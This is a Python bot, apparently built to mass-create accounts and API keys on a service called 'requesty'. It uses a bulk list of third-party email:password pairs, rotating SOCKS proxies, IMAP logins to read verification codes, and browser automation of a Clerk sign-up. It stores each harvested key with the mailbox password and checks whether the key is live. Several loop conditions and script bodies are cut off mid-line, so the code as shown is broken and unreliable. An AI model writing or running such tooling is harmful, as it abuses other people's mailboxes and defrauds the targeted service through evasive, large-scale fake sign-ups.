import os, sys, time, json, re, imaplib, email, urllib.request, random BASE=r'C:/Users/User/tmp/requesty'; LOG=BASE+'/ff.log' LF=open(LOG,'a',encoding='utf-8') def L(*a): s=' '.join(str(x) for x in a); LF.write(s+'\n'); LF.flush() PW=os.environ.get('RQ_PW','Rq!2026Str0ngPass') N=int(sys.argv[1]) if len(sys.argv)>1 else 3 OFF=int(sys.argv[2]) if len(sys.argv)>2 else 0 IMAPMAP=json.load(open(r'C:/Users/User/tmp/mail66k/discovered_imap.json')) PROXIES=[{'server':'socks5://127.0.0.1:1091'},{'server':'socks5://127.0.0.1:1092'},{'server':'socks5://127.0.0.1:1093'},None] DONEFILE=BASE+'/used_ff.txt' def load_pool(): used=set(open(DONEFILE).read().split()) if os.path.exists(DONEFILE) else set() used|=set(open(BASE+'/used_mails3.txt').read().split()) if os.path.exists(BASE+'/used_mails3.txt') else set() out=[] for line in open(r'C:/Users/User/tmp/mail66k/LIVE/live_all.txt',errors='ignore'): line=line.strip() if not line or ':' not in line: continue u,p=line.split(':',1) dom=u.split('@')[-1].lower() if dom!='aliyun.com' or u in used: continue out.append((u,p,dom)) random.shuffle(out) return out[OFF:] def imap_get(host,port,u,p,timeout=220): end=time.time()+timeout while time.time(){const c=document.querySelector('input[name=legalAccepted]'); if(c&&!c.checked) c.click();}") time.sleep(1) submitted=False try: pg.focus('input[name=password]'); pg.keyboard.press('Enter'); submitted=True except Exception: pass if not submitted or True: try: pg.evaluate("()=>{const b=[...document.querySelectorAll('button')].find(x=>/continue/i.test(x.innerText)); if(b) b.click();}") except Exception: pass state='none'; end=time.time()+100 while time.time(){try{ const su=window.Clerk.client.signUp; const r1=await su.attemptEmailAddressVerification({code:c}); const o={s:r1.status,miss:r1.missingFields,sess:r1.createdSessionId}; if(su.createdSessionId){await window.Clerk.setActive({session:su.createdSessionId}); o.act=!!window.Clerk.session;} return JSON.stringify(o);}catch(e){return 'ERR '+String(e&&(e.errors?JSON.stringify(e.errors):e)).slice(0,150);}}""", code) L(' sdk',str(r)[:140]) time.sleep(2) jwt=pg.evaluate("""async ()=>{try{ if(!window.Clerk.session) return ''; return await window.Clerk.session.getToken(); }catch(e){ return ''; }}""") if isinstance(jwt,str) and jwt.startswith('eyJ'): L(' jwt',len(jwt)) key,why=make_key(jwt) L(' mkkey',why) else: L(' no jwt') br.close() except Exception as e: L(' ERR',str(e)[:110]) open(DONEFILE,'a').write(addr+'\n') if key: a,m=probe(key); alive+=1 if a else 0 open(BASE+'/bank.jsonl','a',encoding='utf-8').write(json.dumps({'email':addr,'mail_pw':mpass,'pw':PW,'key':key,'alive':a,'msg':m,'tag':'FF','ts':int(time.time())})+'\n') L(' RESULT alive' if a else ' RESULT dead', m) else: L(' RESULT nokey') time.sleep(random.randint(3,8)) L('DONE FF tried=%d alive=%d'%(tried,alive)) print('ff done tried=%d alive=%d'%(tried,alive))